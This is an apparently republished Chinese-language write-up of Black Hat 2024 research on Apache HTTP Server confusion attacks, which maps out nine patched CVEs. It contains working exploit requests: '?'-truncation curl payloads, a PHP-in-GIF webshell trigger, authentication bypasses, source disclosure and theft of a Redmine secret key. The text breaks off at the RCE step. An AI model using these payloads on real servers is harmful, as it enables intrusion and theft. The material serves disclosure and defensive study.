Apache HTTP Server混淆攻击:利用隐藏语义模糊性的新型攻击面

本文深入分析了Apache HTTP Server中存在的架构问题,揭示了三种混淆攻击方式、九个新漏洞及多种利用手法,涵盖了从认证绕过到远程代码执行的全链条攻击技术。

Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server!

Orange Tsai (@orange_8361) | 繁體中文版本 | English Version

嗨,這是我今年發表在 Black Hat USA 2024 上針對 Apache HTTP Server 的研究。此外,這份研究也將在 HITCON 和 OrangeCon 上發表,有興趣搶先了解可點此取得投影片: Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server!

另外也謝謝來自 Akamai 的友善聯繫!此份研究發表後第一時間他們也發佈了緩解措施 (詳情可參考 Akamai 的部落格)。

TL;DR

這篇文章探索了 Apache HTTP Server 中存在的架構問題,介紹了數個 Httpd 的架構債,包含 3 種不同的 Confusion Attacks、9 個新漏洞、20 種利用手法以及超過 30 種案例分析。包括但不限於:

  • 怎麼使用一個 ? 繞過 Httpd 內建的存取控制以及認證。
  • 不安全的 RewriteRule 怎麼跳脫 Web Root 並存取整個檔案系統。
  • 如何利用一段從 1996 遺留至今的程式碼把一個 XSS 轉化成 RCE。

大綱

  • 在故事之前
  • 故事是如何開始的?
  • 為什麼 Apache HTTP Server 聞起來臭臭的?
  • 關於這次的新攻擊面:Confusion Attacks
    1. Filename Confusion
      • Primitive 1-1. Truncation
        • 1-1-1. Path Truncation
        • 1-1-2. Mislead RewriteFlag Assignment
      • Primitive 1-2. ACL Bypass
    2. DocumentRoot Confusion
      • Primitive 2-1. Server-Side Source Code Disclosure
        • 2-1-1. Disclose CGI Source Code
        • 2-1-2. Disclose PHP Source Code
      • Primitive 2-2. Local Gadgets Manipulation!
        • 2-2-1. Local Gadget to Information Disclosure
        • 2-2-2. Local Gadget to XSS
        • 2-2-3. Local Gadget to LFI
        • 2-2-4. Local Gadget to SSRF
        • 2-2-5. Local Gadget to RCE
      • Primitive 2-3. Jailbreak from Local Gadgets
        • 2-3-1. Jailbreak from Local Gadgets
        • 2-3-2. Jailbreak Local Gadgets to Redmine RCE
    3. Handler Confusion
      • Primitive 3-1. Overwrite the Handler
        • 3-1-1. Overwrite Handler to Disclose PHP Source Code
        • 3-1-2. Overwrite Handler to ██████ ███████ ██████
      • Primitive 3-2. Invoke Arbitrary Handlers
        • 3-2-1. Arbitrary Handler to Information Disclosure
        • 3-2-2. Arbitrary Handler to Misinterpret Scripts
        • 3-2-2. Arbitrary Handler to Full SSRF
        • 3-2-3. Arbitrary Handler to Access Local Unix Domain Socket
        • 3-2-4. Arbitrary Handler to RCE
    4. 其它漏洞
      • CVE-2024-38472 - 基於 Windows UNC 的 SSRF
        • 透過 HTTP 請求解析器觸發
        • 透過 Type-Map 觸發
      • CVE-2024-39573 - 基於 RewriteRule 前綴可完全控制的 SSRF
  • 未來研究方向
  • 結語

在故事之前

這裡純粹是一些個人的 Murmur,如果只對技術細節感興趣可以直接跳到 —— 故事是如何開始的?

身為一名研究員、最大的快樂應該就是當自己的作品被同行關注並理解。所以當完成一個作品並擁有豐碩的成果後,理所當然會想要讓它被世界看到 —— 這也是為什麼我會多次在 Black Hat USA 以及 DEFCON 上分享的緣故。

在讀這篇文章的你也許知道,我從 2022 後就拿不到一個合法的簽證進入美國 (在免簽計畫中的台灣,通常只需要線上申請,數分鐘到數小時內就能取得旅行授權),導致錯過 Black Hat USA 2022 的實體演講。甚至 2023 到秘魯還有復活節島獨旅也無法從美國轉機 :(

為了解決這個情況,我從今年一月就開始準備 B1/B2 簽證、撰寫各式文件、到大使館面試以及漫無止盡的等待,這不是一件好玩的事,但為了讓作品被看到,還是花了非常多的時間在為了簽證奔波,以及尋求各種可能,甚至到會議開始的前三個禮拜,還不清楚發表是否會被取消 (BH 一開始只接受現場演講,不過謝謝審稿委員對這份研究的認可最終還是能透過預錄的形式發表),所以你所看到的所有內容包含投影片、錄影以及部落格文字都是在短短數十天內完成的。 😖

我只是一個單純的研究員,自認問心無愧,對漏洞的態度也始終是 —— 漏洞就該讓它被廠商知道以及修復。

寫這些文字也不為了什麼,純粹紀錄下一些無奈的心情、今年所做過的努力,以及謝謝在這個過程中幫助過我的人,謝謝你們 :)

故事是如何開始的?

大概是在今年年初的時候,我開始思考下一個研究的目標,也許你知道我總是希望挑戰那些影響整個網際網路的大目標,所以開始尋找一些看似複雜的主題或有趣的開源專案,例如 Nginx、PHP、甚至開始看起 RFC 來強化自己對於協議實作細節的認知。

雖然大部分的嘗試都以失敗告終 (不過有些也許會變成下一篇部落格主題 😉),但在細細品嘗這些程式碼時,我回憶起了曾經在去年年中短暫看過 Apache HTTP Server 原始碼這件事!

儘管最終由於工作的時程規畫並無深入的閱讀程式碼,但在那時就已經從它的編碼風格上「聞」到了一些不太好的味道。於是在今年決定繼續下去,把「為什麼聞起來怪怪的」這件事從原本只是一個說不出的「感覺」具象化,深入下去研究 Apache HTTP Server!

為什麼 Apache HTTP Server 聞起來臭臭的?

首先,Apache HTTP Server 是一個由「模組們」建構起來的世界,從它官方文件中也看到其對於自身模組化 (MPMs - Multi-Processing Modules) 的自豪:

Apache httpd has always accommodated a wide variety of environments through its modular design. […] Apache HTTP Server 2.0 extends this modular design to the most basic functions of a web server.

整個 Httpd 的服務需要由數百個小模組齊心合力,共同合作才能完成客戶端的 HTTP 請求,官方所列出的 136 個模組其中約有快一半是預設啟用或經常被使用的模組!而更令人驚訝的是,這麼多模組在處理客戶端 HTTP 請求的時候,彼此之間還要共同維護著一份非常巨大的 request_rec 結構。

這個結構包括了在處理 HTTP 時會用到的一切元素,詳細的定義可以從 include/httpd.h 中找到。所有模組都依賴這個巨大的結構去同步、溝通,甚至交換資料。這個內部結構會像是拋接球般在所有模組間傳遞來傳遞去,每個模組都可以根據自己的喜好去隨意修改這個結構上的任意值!

這樣子的合作方式從軟體工程的角度來說其實不是什麼新鮮事,個體只需專心把份內事完成,只要所有人都乖乖完成自己的工作,那客戶就可以正常享受 Httpd 所提供的服務。

這樣子的分工在數個模組內可能還沒什麼問題,但如果今天把規模放大到數百個模組間的協同合作 —— 它們真的有辦法好好合作嗎? 🤔

所以我們的出發點很簡單 —— 模組間其實並不完全了解彼此的實作細節,但卻又被要求要一起合作。每個模組可能由不同的開發者實作,程式碼歷經多年的疊代、重整以及修改,它們真的還清楚自己在做什麼嗎?就算對自己瞭若指掌,那對其它模組呢?在缺乏一個好的開發標準或使用準則下,這中間必然會存在很多小縫隙是我們可以利用的!

關於這次的新攻擊面:Confusion Attacks

基於前面的思考,我們開始專注在研究這些模組間的「關係」以及「交互作用」。如果有一個模組不小心修改到了它覺得不重要但對另一個模組至關重要的結構欄位,那可能就會影響該模組的判斷。甚至更進一步,如果 Apache HTTP Server 對這些結構的定義不夠精確,導致不同模組對同一個欄位在理解上有著根本的不一致,這都可能產生安全上的風險!

從這個出發點我們發展出了三種不同的攻擊,由於這些攻擊或多或少都模組對於結構欄位的誤用有關,因此把這個攻擊面命名為「Confusion Attack」,而以下是我們所發展出的攻擊:

  1. Filename Confusion
  2. DocumentRoot Confusion
  3. Handler Confusion

從這些攻擊出發我們找到了 9 個不同的漏洞:

  • CVE-2024-38472 - Apache HTTP Server on Windows UNC SSRF
  • CVE-2024-39573 - Apache HTTP Server proxy encoding problem
  • CVE-2024-38477 - Apache HTTP Server: Crash resulting in Denial of Service in mod_proxy via a malicious request
  • CVE-2024-38476 - Apache HTTP Server may use exploitable/malicious backend application output to run local handlers via internal redirect
  • CVE-2024-38475 - Apache HTTP Server weakness in mod_rewrite when first segment of substitution matches filesystem path
  • CVE-2024-38474 - Apache HTTP Server weakness with encoded question marks in backreferences
  • CVE-2024-38473 - Apache HTTP Server proxy encoding problem
  • CVE-2023-38709 - Apache HTTP Server: HTTP response splitting
  • CVE-2024-?????? - [redacted]

這些漏洞都透過官方的安全信箱回報,並由 Apache HTTP Server 團隊在 2024-07-01 發佈安全性通報以及 2.4.60 更新 (詳細可參考官方公告)。

由於這是一個針對 Httpd 架構以及其內部機制所帶來的新攻擊面,理所當然第一個參與的人可以找到最多漏洞,因此我也是目前擁有最多 Apache HTTP Server CVE 的人 😉,導致很多更新修復由於其歷史架構無法向下兼容。所以對於很多運行許久的正式伺服器來說修復並不是一件容易的事,若網站管理員不經思考就直接更新反而會打破許多舊有的設定造成服務中斷。 😨

接下來就開始介紹這次發展出來的攻擊們吧!

🔥 1. Filename Confusion

首先,第一個是基於 Filename 欄位上的 Confusion,從字面上來看 r->filename 應該是一個檔案系統路徑,然而在 Httpd 中,有些模組會把它當成網址來處理。如果在 HTTP 請求的上下文中,有些模組把 r->filename 當成檔案路徑,而其他模組將它當成網址,這其中的不一致就會造成安全上的問題!

⚔️ Primitive 1-1. Truncation

所以哪些模組會把 r->filename 當成網址呢?首先是 mod_rewrite 允許網站管理員透過 RewriteRule 語法輕鬆的將路徑透過指定的規則改寫:

1
RewriteRule Pattern Substitution [flags]

其中目標可以是一個檔案系統路徑或是一個網址,我想這應該是一個為了使用者體驗所做出的方便,但同時這個「方便」也帶出了一些風險,例如在改寫路徑時,mod_rewrite 會強制把結果視為網址處理 (splitout_queryargs()),這導致了在 HTTP 請求中可以透過一個問號 %3F 去截斷 RewriteRule 後面的路徑或網址,並引出以下兩種攻擊手法。

Path: modules/mappers/mod_rewrite.c#L4141

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
/*
 * Apply a single RewriteRule
 */
static int apply_rewrite_rule(rewriterule_entry *p, rewrite_ctx *ctx)
{
    ap_regmatch_t regmatch[AP_MAX_REG_MATCH];
    apr_array_header_t *rewriteconds;
    rewritecond_entry *conds;
    
    // [...]
    
    for (i = 0; i < rewriteconds->nelts; ++i) {
        rewritecond_entry *c = &conds[i];
        rc = apply_rewrite_cond(c, ctx);
        
        // [...] do the remaining stuff
        
    }
    
    /* Now adjust API's knowledge about r->filename and r->args */
    r->filename = newuri;

    if (ctx->perdir && (p->flags & RULEFLAG_DISCARDPATHINFO)) {
        r->path_info = NULL;
    }

    splitout_queryargs(r, p->flags);         // <------- [!!!] Truncate the `r->filename`
    
    // [...]
}

✔️ 1-1-1. Path Truncation

首先,第一個攻擊手法是檔案系統路徑上的截斷,想像下面這個 RewriteRule:

1
2
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"

伺服器會根據網址路徑 /user/ 後的使用者名稱開啟相對應的個人設定檔案,例如:

1
2
$ curl http://server/user/orange
 # the output of file `/var/user/orange/profile.yml`

由於 mod_rewrite 會強制將重寫後的結果當成一個網址處理,因此雖然目標是一個檔案系統路徑,但卻可以透過一個問號去截斷後方的 /profile.yml 例如:

1
2
$ curl http://server/user/orange%2Fsecret.yml%3F
 # the output of file `/var/user/orange/secret.yml`

這是我們的第一個攻擊手法 —— 路徑截斷。對於這個攻擊手法的探索先稍稍停留在這邊,雖然目前看起來還只是一個小瑕疵,但請先記好它,因為這會在之後的攻擊中一再的出現,慢慢把這個看似無用的小破口撕裂開來! 😜

✔️ 1-1-2. Mislead RewriteFlag Assignment

截斷手法的第二個利用是誤導 RewriteFlag 的設置,想像網站管理員透過下列的 RewriteRule 去管理網站中路徑以及相對應模組:

1
2
RewriteEngine On
RewriteRule  ^(.+\.php)$  $1  [H=application/x-httpd-php]

如果請求附檔名是 .php 結尾則加上 mod_php 相對應的處理器 (此外也可以是環境變數或是 Content-Type,關於標誌的詳細設定可參考官方的手冊 RewriteRule Flags)。

由於 mod_rewrite 的截斷行為發生在正規表達式匹配後,因此惡意的攻擊者可以利用原本的規則,透過 ? 將 RewriteFlag 設定到不屬於它們的請求上。例如上傳一個夾帶惡意 PHP 程式碼的 GIF 圖片並透過惡意請求將圖片當成後門執行:

1
2
3
4
5
$ curl http://server/upload/1.gif
 # GIF89a <?=`id`;>

$ curl http://server/upload/1.gif%3fooo.php
 # GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)

⚔️ Primitive 1-2. ACL Bypass

Filename Confusion 的第二個攻擊手法發生在 mod_proxy 身上,相較前一個攻擊是無條件將目標當成網址處理,這次則是因為模組間對 r->filename 的理解不一致所導致的認證及存取控制繞過!

mod_proxy 會將 r->filename 當成網址這件事情其實很合理,因為原本 Proxy 的目的就是將請求「導向」到其它網址上,但安全往往就是單獨拿出來看沒問題,搭配在一起就出問題了!特別是當大多數模組預設將 r->filename 視為檔案系統路徑時,試想一下假設今天你使用基於檔案系統的存取控制模組,而現在 mod_proxy 又會把 r->filename 當成網址,這其中的不一致就可以導致存取控制或是認證被繞過!

一個經典的例子是,網站管理員透過 Files 語法去對單一檔案加上限制,例如 admin.php

1
2
3
4
5
6
<Files "admin.php">
    AuthType Basic 
    AuthName "Admin Panel"
    AuthUserFile "/etc/apache2/.htpasswd"
    Require valid-user
</Files>

在預設安裝的 PHP-FPM 環境中,這種設定可以被直接繞過!順道一提這也是 Apache HTTP Server 中最常見到的認證方式!假設今天你瀏覽了這樣的網址:

1
http://server/admin.php%3Fooo.php

首先在這個網址的 HTTP 生命週期中,認證模組會將請求的檔案名稱與被保護的檔案進行比對,此時 r->filename 欄位是 admin.php?ooo.php 理所當然與 admin.php 不符合,於是模組會認為當前請求不需要認證。

然而 PHP-FPM 的設定檔案又設定當收到結尾為 .php 的請求時透過 SetHandler 語法將請求轉交給 mod_proxy:

Path: /etc/apache2/mods-enabled/php8.2-fpm.conf

1
2
3
4
5
# Using (?:pattern) instead of (pattern) is a small optimization that
# avoid capturing the matching pattern (as $1) which isn't used here
<FilesMatch ".+\.ph(?:ar|p|tml)$">
    SetHandler "proxy:unix:/run/php/php8.2-fpm.sock|fcgi://localhost"
</FilesMatch>

mod_proxy 會將 r->filename 重寫成以下網址並根據其中的協議呼叫子模組 mod_proxy_fcgi 處理後續 FastCGI 協議的邏輯:

1
proxy:fcgi://127.0.0.1:9000/var/www/html/admin.php?ooo.php

由於這時後端在收到檔案名稱時已經是一個奇怪的格式了,PHP-FPM 只好對這個行為做特別處理,其中處理的邏輯如下:

Path: sapi/fpm/fpm/fpm_main.c#L1044

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#define APACHE_PROXY_FCGI_PREFIX "proxy:fcgi://"
#define APACHE_PROXY_BALANCER_PREFIX "proxy:balancer://"

if (env_script_filename &&
    strncasecmp(env_script_filename, APACHE_PROXY_FCGI_PREFIX, sizeof(APACHE_PROXY_FCGI_PREFIX) - 1) == 0) {
    /* advance to first character of hostname */
    char *p = env_script_filename + (sizeof(APACHE_PROXY_FCGI_PREFIX) - 1);
    while (*p != '\0' && *p != '/') {
        p++;    /* move past hostname and port */
    }
    if (*p != '\0') {
        /* Copy path portion in place to avoid memory leak.  Note
         * that this also affects what script_path_translated points
         * to. */
        memmove(env_script_filename, p, strlen(p) + 1);
        apache_was_here = 1;
    }
    /* ignore query string if sent by Apache (RewriteRule) */
    p = strchr(env_script_filename, '?');
    if (p) {
        *p =0;
    }
}

可以看到 PHP-FPM 先對檔案名稱正規化並對其中的問號 ? 進行分隔取出其中實際的檔案路徑並執行 (也就是 /var/www/html/admin.php)。所以基本上所有使用 Files 語法針對單一 PHP 檔案的認證或是存取控制設定在運行 PHP-FPM 的情境下都存在風險! 😮

從 GitHub 上可以找到非常多潛在有風險的設定,例如被限制在只有內網才能存取的 phpinfo()

1
2
3
4
5
6
7
8
# protect phpinfo, only allow localhost and local network access
<Files php-info.php>
    # LOCAL ACCESS ONLY
    # Require local 

    # LOCAL AND LAN ACCESS
    Require ip 10 172 192.168
</Files>

使用 .htaccess 阻擋起來的 Adminer:

1
2
3
4
<Files adminer.php>
    Order Allow,Deny
    Deny from all
</Files>

被保護起來的 xmlrpc.php

1
2
3
4
<Files xmlrpc.php>
    Order Allow,Deny
    Deny from all
</Files>

防止直接存取的命令行工具:

1
2
3
<Files "cron.php">
    Deny from all
</Files>

透過認證模組以及 mod_proxy 間對 r->filename 欄位理解的不一致,上面所有的例子都可以透過一個 ? 成功繞過!

🔥 2. DocumentRoot Confusion

接下來要介紹的攻擊是基於 DocumentRoot 上的 Confusion Attack!首先你可以思考一下,對於下面這樣子的 Httpd 設定:

1
2
DocumentRoot /var/www/html
RewriteRule  ^/html/(.*)$   /$1.html

當瀏覽 http://server/html/about 時,到底實際 Httpd 會開啟哪個檔案?是根目錄下的 /about.html 還是 DocumentRoot 下的 /var/www/html/about.html 呢?

答案是 —— 兩個路徑都會存取。這也是我們的第二個 Confusion Attack,對於任意[1]的 RewriteRule,Httpd 總是會嘗試開啟帶有 DocumentRoot 的路徑以及沒有的路徑!有趣吧 😉

[1] 位於 Server Config 或 VirtualHost Block 內

Path: modules/mappers/mod_rewrite.c#L4939

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
    if(!(conf->options & OPTION_LEGACY_PREFIX_DOCROOT)) {
        uri_reduced = apr_table_get(r->notes, "mod_rewrite_uri_reduced");
    }

    if (!prefix_stat(r->filename, r->pool) || uri_reduced != NULL) {     // <------ [1] access without root
        int res;
        char *tmp = r->uri;

        r->uri = r->filename;
        res = ap_core_translate(r);             // <------ [2] access with root
        r->uri = tmp;

        if (res != OK) {
            rewritelog((r, 1, NULL, "prefixing with document_root of %s"
                        " FAILED", r->filename));

            return res;
        }

        rewritelog((r, 2, NULL, "prefixed with document_root to %s",
                    r->filename));
    }

    rewritelog((r, 1, NULL, "go-ahead with %s [OK]", r->filename));
    return OK;

當然絕大部分的情況是目標檔案不存在,於是 Httpd 會存取帶有 DocumentRoot 的版本,但這個行為已經讓我們能夠「故意的」去存取 Web Root 以外的路徑,如果今天可以控制 RewriteRule 的目標前綴那我們是不是就能瀏覽作業系統上的任意檔案了?這也是我們第二個 Confusion Attack 的精神!

從 GitHub 中可以找到千千萬萬個有問題的寫法,有趣的是甚至連官方的範例文件都是易遭受攻擊的:

1
2
3
# Remove mykey=???
RewriteCond "%{QUERY_STRING}" "(.*(?:^|&))mykey=([^&]*)&?(.*)&?$"
RewriteRule "(.*)" "$1?%1%3"

除此之外還有其它亦受影響的 RewriteRule 例如基於快取需求或是將想副檔名隱藏起來的 URL Masking 規則:

1
RewriteRule  "^/html/(.*)$"  "/$1.html"

或是想節省流量,嘗試使用壓縮版本的靜態檔案規則:

1
RewriteRule  "^(.*)\.(css|js|ico|svg)" "$1\.$2.gz"

將老舊的網站轉址到根目錄的規則:

1
RewriteRule  "^/oldwebsite/(.*)$"  "/$1"

對所有 CORS 的預檢請求都回傳 200 OK 的規則:

1
2
RewriteCond %{REQUEST_METHOD} OPTIONS
RewriteRule ^(.*)$ $1 [R=200,L]

理論上只要 RewriteRule 的目標前綴可控,我們可以瀏覽幾乎整個檔案系統,但從前面的規則中發現還有一個限制我們必須跨過的,前面例子中所出現的副檔名如 .html 以及 .gz 的後綴都是讓我們沒那麼地自由的一個限制 —— 所以可以繞過這個限制嗎?

不知道有沒有人想起前面在 Filename Confusion 章節所介紹的路徑截斷,透過這兩個攻擊的結合,我們可以自由的瀏覽作業系統上的任意檔案!

接下來的範例都基於這個不安全的 RewriteRule 來做示範:

1
2
RewriteEngine On
RewriteRule  "^/html/(.*)$"  "/$1.html"

⚔️ Primitive 2-1. Server-Side Source Code Disclosure

首先來介紹 DocumentRoot Confusion 的第一個攻擊手法 —— 任意伺服器端程式碼洩漏!

由於 Httpd 會根據當前目錄或是當前虛擬主機設定決定是否當成 Server-Side Script 處理,因此透過絕對路徑去存取目標程式碼可以混淆 Httpd 的邏輯導致洩漏原本該被當成程式碼執行的檔案內容。

✔️ 2-1-1. Disclose CGI Source Code

首先是洩漏伺服器端的 CGI 程式碼,由於 mod_cgi 是透過 ScriptAlias 將 CGI 目錄與所指定的 URL 前綴綁定起來,當使用絕對路徑直接瀏覽 CGI 時由於 URL 前綴變了,因此可以直接洩漏出檔案原始碼。

1
2
3
4
5
6
7
$ curl http://server/cgi-bin/download.cgi
 # the processed result from download.cgi
$ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
 # #!/usr/bin/perl
 # use CGI;
 # ...
 # # the source code of download.cgi

✔️ 2-1-2. Disclose PHP Source Code

接著是洩漏伺服器端的 PHP 程式碼,由於 PHP 的使用場景眾多,若只針對特定目錄或是虛擬主機套用 PHP 環境的話 (常見於網站代管服務),可以透過未啟用 PHP 的虛擬主機存取 PHP 檔案以洩漏原始碼!

例如 www.local 以及 static.local 兩個虛擬主機都託管在同一台伺服器上,www.local 允許運行 PHP 而 static.local 則純粹負責處理靜態檔案,因此可以透過下面的方式洩漏出 config.php 內的敏感資訊:

1
2
3
4
$ curl http://www.local/config.php
 # the processed result (empty) from config.php
$ curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
 # the source code of config.php

⚔️ Primitive 2-2. Local Gadgets Manipulation!

接下來是我們的第二個攻擊手法 —— Local Gadgets Manipulation。

首先,在前面介紹到「瀏覽作業系統上的任意檔案」時不知道你有沒有好奇:「欸那是不是一個不安全的 RewriteRule 就可以存取到 /etc/passwd?」對的 —— 但也不完全對。蛤?

技術上來說確實伺服器會去檢查 /etc/passwd 是否存在,但 Apach HTTP Server 內建的存取控制阻擋了我們的存取,這裡是 Apache HTTP Server 的設定檔模板內容:

1
2
3
4
<Directory />
    AllowOverride None
    Require all denied
</Directory>

會觀察到預設阻擋了根目錄 / 的瀏覽 (Require all denied),然而實際上這就沒戲了嗎?實際上再詳細追查各個 Httpd 的發行版會發現 Debian/Ubuntu 作業系統預設允許了 /usr/share

1
2
3
4
<Directory /usr/share>
    AllowOverride None
    Require all granted
</Directory>

所以我們的「任意檔案存取」似乎有點那麼地不任意。不過我們打破原本只能瀏覽 DocumentRoot 的信任算是跨出很大的一步了。接下來要做的事情就是「壓榨」這個目錄內的各種可能。

所有可利用的資源、目錄中現有的教學範例、說明文件、單元測試檔案,甚至伺服器上程式語言如 PHP、Python 甚至 PHP 的模組都有機會成為我們濫用的對象!

P.S. 當然上面只是基於 Ubuntu/Debian 作業系統發行的 Httpd 版本設定做解釋,實務上也有發現一些應用軟體直接把的根目錄的 Require all denied 移除導致可以直接存取 /etc/passwd

✔️ 2-2-1. Local Gadget to Information Disclosure

首先來尋找看看這個目錄下是否存在這一些檔案是可以利用的。首先是目標 Apache HTTP Server 如果安裝 websocketd 這個服務的話,服務套件預設會在 /usr/share/doc/websocketd/examples/php/ 下放置一個範例 PHP 程式碼 dump-env.php,如果目標伺服器上存在 PHP 環境的話可以直接存取這個範例程式去洩漏敏感的環境變數。

另外如果目標同時安裝如 Nginx 或是 Jetty 的話,雖然 /usr/share 理論上該是套件安裝時所存放的唯讀複本,但這些服務的預設 Web Root 就在 /usr/share 下,因此也能透過這個攻擊手法去洩漏這些網頁應用的敏感資訊,例如 Jetty 上的 web.xml 設定等等:

  • /usr/share/nginx/html/
  • /usr/share/jetty9/etc/
  • /usr/share/jetty9/webapps/

這裡簡單展示一個透過存取 Davical 套件所存在的 setup.php 唯讀複本去洩漏 phpinfo() 內容。

✔️ 2-2-2. Local Gadget to XSS

接著如何把這個攻擊手法轉化成 XSS 呢?在 Ubuntu Desktop 環境中預設會安裝 LibreOffice 這套開源的辦公室應用,利用其中幫助文件的語言切換功能來完成 XSS。

Path: /usr/share/libreoffice/help/help.html

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
    var url = window.location.href;
    var n = url.indexOf('?');
    if (n != -1) {
        // the URL came from LibreOffice help (F1)
        var version = getParameterByName("Version", url);
        var query = url.substr(n + 1, url.length);
        var newURL = version + '/index.html?' + query;
        window.location.replace(newURL);
    } else {
        window.location.replace('latest/index.html');
    }

因此就算目標沒有部署任何網頁應用,我們也可以利用一個不安全的 RewriteRule 透過作業系統自帶的檔案來創造出 XSS。

✔️ 2-2-3. Local Gadget to LFI

至於任意檔案讀取呢?如果目標伺服器上安裝了一些 PHP 甚至前端應用套件,例如 JpGraph、jQuery-jFeed 甚至 WordPress 或 Moodle 外掛,那麼它們自帶的使用教學或是除錯用程式碼都可以變成利用的對象,例如:

  • /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
  • /usr/share/javascript/jquery-jfeed/proxy.php
  • /usr/share/moodle/mod/assignment/type/wims/getcsv.php

這裡展示利用 jQuery-jFeed 所自帶的 proxy.php 來讀取 /etc/passwd

✔️ 2-2-4. Local Gadget to SSRF

當然找到一個 SSRF 也不在話下,例如 MagpieRSS 提供了一個 magpie_debug.php 檔案就是一個絕佳的小工具:

  • /usr/share/php/magpierss/scripts/magpie_debug.php

✔️ 2-2-5. Local Gadget to RCE

所以能 RCE 嗎?別急我們先慢慢來!首先這個攻擊手法已經可以把既有的攻擊面全部重新套用一次了,例如在某次開發過程中不小心被遺留下來 (甚至可能還是被第三方套件所依賴的) 的舊版本 PHPUnit,可以直接使用 CVE-2017-9841 來執行任意程式碼,又或者是安裝完 phpLiteAdmin (由於是唯讀副本所以預設密碼是 admin),相信看到這邊會發現 Local Gadgets Manipulation 這個攻擊手法存在著無窮潛力,剩下只是發掘出更厲害以及更通用的小工具!

⚔️ Primitive 2-3. Jailbreak from Local Gadgets

看到這裡你可能會好奇:「真的不能跳出 /usr/share 嗎?」當然可以,這也是要介紹的第三個攻擊手法 —— 從 /usr/share 中越獄!

Debian/Ubuntu 的 Httpd 發行版中預設開啟了 FollowSymLinks 選項,就算非 Debian/Ubuntu 發行版但 Apache HTTP Server 也隱含地預設允許符號連結。

1
2
3
4
5
<Directory />
    Options FollowSymLinks
    AllowOverride None
    Require all denied
</Directory>

✔️ 2-3-1. Jailbreak from Local Gadgets

因此只要有套件在它的安裝目錄下符號連結到 /usr/share 外,這個符號連結就成為一個跳板去存取更多的小工具完成更多的利用。這裡列出一些我們已經發現可利用的符號連結:

  • Cacti Log: /usr/share/cacti/site/ -> /var/log/cacti/
  • Solr Data: /usr/share/solr/data/ -> /var/lib/solr/data
  • Solr Config: /usr/share/solr/conf/ -> /etc/solr/conf/
  • MediaWiki Config: /usr/share/mediawiki/config/ -> /var/lib/mediawiki/config/
  • SimpleSAMLphp Config: /usr/share/simplesamlphp/config/ -> /etc/simplesamlphp/

✔️ 2-3-2. Jailbreak Local Gadgets to Redmine RCE

越獄攻擊手法的最後讓我們展示一個利用 Redmine 的雙層符號連結跳躍去完成 RCE 的例子。在預設安裝的 Redmine 程式碼目錄中有個 instances/ 目錄指向 /var/lib/redmine/,而位於 /var/lib/redmine/ 下的 default/config/ 目錄又指向 /etc/redmine/default/ 資料夾,裡面存放著 Redmine 的資料庫設定以及應用程式私密金鑰。

1
2
3
4
5
6
$ file /usr/share/redmine/instances/
 symbolic link to /var/lib/redmine/
$ file /var/lib/redmine/config/
 symbolic link to /etc/redmine/default/
$ ls /etc/redmine/default/
 database.yml    secret_key.txt

於是透過一個不安全的 RewriteRule 以及兩層符號連結,我們能夠輕鬆存取到 Redmine 所使用的應用程式金鑰:

1
2
3
4
5
$ curl http://server/html/usr/share/redmine/instances/default/config/secret_key.txt%3f
 HTTP/1.1 200 OK
 Server: Apache/2.4.59 (Ubuntu) 
 ...
 6d222c3c3a1881c865428edb79a74405

而 Redmine 又是基於 Ruby on Rails 所開發的應用程式,其中 secret_key.txt 的內容其實正是其簽章加密所使用到的金鑰,接下來的流程相信對熟悉攻擊 RoR 的同學應該不陌生,透過已知的金鑰將惡意 Marshal 物件簽章加密後

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计